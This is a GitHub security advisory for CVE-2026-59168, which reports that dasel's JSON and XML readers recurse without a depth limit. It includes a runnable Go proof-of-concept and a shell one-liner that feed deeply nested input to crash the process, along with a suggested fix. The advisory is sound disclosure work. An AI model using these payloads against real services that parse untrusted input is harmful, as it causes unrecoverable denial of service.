~ / search / GHSA-cqxr-jxr2-85pq

GHSA-cqxr-jxr2-85pq

Dasel: Unbounded recursion in JSON and XML readers causes unrecoverable stack-overflow DoS

Source: GitHub Advisory Database (reviewed) Moderate CVE-2026-59168

Packages

EcosystemPackageAffectedFixed in
Go github.com/tomwright/dasel/v3 >= 3.0.0, < 3.11.1 3.11.1

Details

As written in the advisory (Markdown source, shown as plain text).

## Summary `dasel`'s JSON and XML readers parse nested structures with unbounded recursion, one native stack frame per nesting level, with no depth guard. A small (sub-10 MB), deeply nested document drives the Go runtime past its goroutine stack limit and triggers a `fatal error: stack overflow`. This is **unrecoverable**: it is a runtime fatal error, not a `panic`, so a consumer's `defer`/`recover` cannot intercept it, the entire process dies. Both readers are affected; neither has a depth limit, and the JSON reader additionally has no input-size cap (the XML reader caps size at 10 MB but not depth). ## Affected Versions `github.com/tomwright/dasel/v3` and all v3.x releases through **v3.11.0** (current `main`, commit `abc1e1d`). This vulnerability is fixed in 3.11.1. Pre-v3 is out of scope. ## Description ### JSON reader @ `parsing/json/json_reader.go` `decodeValue` (line 54) dispatches to the mutually-recursive `decodeObject` (line 78) and `decodeArray` (line 140). Each calls back into both for nested values (`decodeArray`→`decodeArray` at line 151, `decodeObject` at 163; `decodeObject`→`decodeArray` at 95, `decodeObject` at 111). Every `[` or `{` in the input adds one stack frame. There is **no depth counter and no `len(data)` cap** anywhere in the reader. ### XML reader @`parsing/xml/reader.go` `parseElement` (line 172) recurses at line 211 for every `xml.StartElement`. The file declares explicit DoS guards — `maxXMLSize = 10_000_000`, comment count/length — but these bound **size and comment volume, not nesting depth**. The open tag `<a>` is 3 bytes, so the 10 MB cap still permits ~3.3 M nesting levels, exhausting the stack long before the size limit fires. ### Reachability (both) Both are on the primary public read path: `parsing.Format(<fmt>).NewReader(opts).Read(data)`, with `data` fully attacker-controlled and no depth validation before the recursion. The same path backs the `dasel` CLI (`dasel -r json` / `-r xml`). Default reader, no special options. Go stack overflow is a `fatal error`, so `recover()` at the call site does not help. ### Precedent in this codebase DoS hardening on the readers is already an accepted concern here, which is why this is a gap rather than a design choice: the XML reader has the `maxXMLSize` cap, and the **YAML reader already implements exactly the fix needed**, `parsing/yaml/yaml_reader.go:31,90-93` returns `ErrYamlExpansionDepthExceeded` once `expansionDepth > maxExpansionDepth`. The JSON and XML readers simply lack the equivalent depth guard. ## Proof of Concept Single runnable program, public API only (`poc/main.go`, module wired to a local clone via `replace`): ```go package main import ( "fmt"; "os"; "strings" "github.com/tomwright/dasel/v3/parsing" _ "github.com/tomwright/dasel/v3/parsing/json" _ "github.com/tomwright/dasel/v3/parsing/xml" ) func main() { mode := "json"; if len(os.Args) > 1 { mode = os.Args[1] } depth := 6_000_000; if mode == "xml" { depth = 3_200_000 } var data []byte if mode == "xml" { data = []byte(strings.Repeat("<a>", depth)) // ~9.6MB, under the 10MB cap } else { data = []byte(strings.Repeat("[", depth) + strings.Repeat("]", depth)) // ~12MB } defer func() { if r := recover(); r != nil { fmt.Println("recovered (NOT fatal):", r) } }() r, _ := parsing.Format(mode).NewReader(parsing.DefaultReaderOptions()) v, err := r.Read(data) fmt.Printf("Read returned WITHOUT crash: v=%v err=%v\n", v != nil, err) } ``` ``` go run . json # nested arrays -> fatal error: stack overflow ; ~85 decodeArray frames go run . xml # nested <a> -> fatal error: stack overflow ; ~93 parseElement frames ``` Observed (Go 1.26, default 1 GB goroutine stack): - `json` depth 6 M (12 MB): `runtime: goroutine stack exceeds 1000000000-byte limit` → `fatal error: stack overflow`; backtrace dominated by `json.(*jsonReader).decodeArray`. `depth 2 M` completes (~0.83 s), confirming it is depth-driven, not a parse error. - `xml` depth 3.2 M (9.6 MB, **under** the 10 MB `maxXMLSize` cap): same fatal overflow; backtrace is an unbroken chain of `xml.(*xmlReader).parseElement` at `reader.go:211`. - The deferred `recover()` never fires in either case — the process exits. - CLI equivalents: `printf '<a>%.0s' {1..3200000} | dasel -r xml`. ## Impact An attacker who controls JSON or XML passed to dasel — via the library `Read` API, the CLI, or the `parse('json'|'xml', …)` selector function — crashes the host process with a single small document. Because the failure is a Go `fatal error` rather than a recoverable panic, a consumer that wraps parsing in `defer`/`recover` is **still** taken down: the whole process terminates, killing every in-flight goroutine, not just the parse. Availability only — no confidentiality or integrity impact. For a library consumer feeding network-sourced data to `Read`, this is a remotely triggerable, unrecoverable DoS. ## Suggested Fix Add a recursion-depth guard to both readers, mirroring the YAML reader's existing `maxExpansionDepth` / `ErrYamlExpansionDepthExceeded` pattern: - **JSON** — thread a `depth int` through `decodeValue`/`decodeObject`/`decodeArray`, increment on descent, return `ErrJSONMaxDepthExceeded` past a conservative bound (e.g. 10 000). Optionally add a `maxJSONSize` cap matching `maxXMLSize` for parity. - **XML** — add a `maxXMLDepth` constant to the existing `Security limits` block and thread a `depth` through `parseElement`, returning a normal error past the bound. Both return a clean `error` for pathological input instead of crashing the process, consistent with how the comment-count, size, and YAML-expansion limits already behave. A limit in the low thousands preserves all realistic legitimate documents.

References

External links from the advisory. They lead to third-party sites.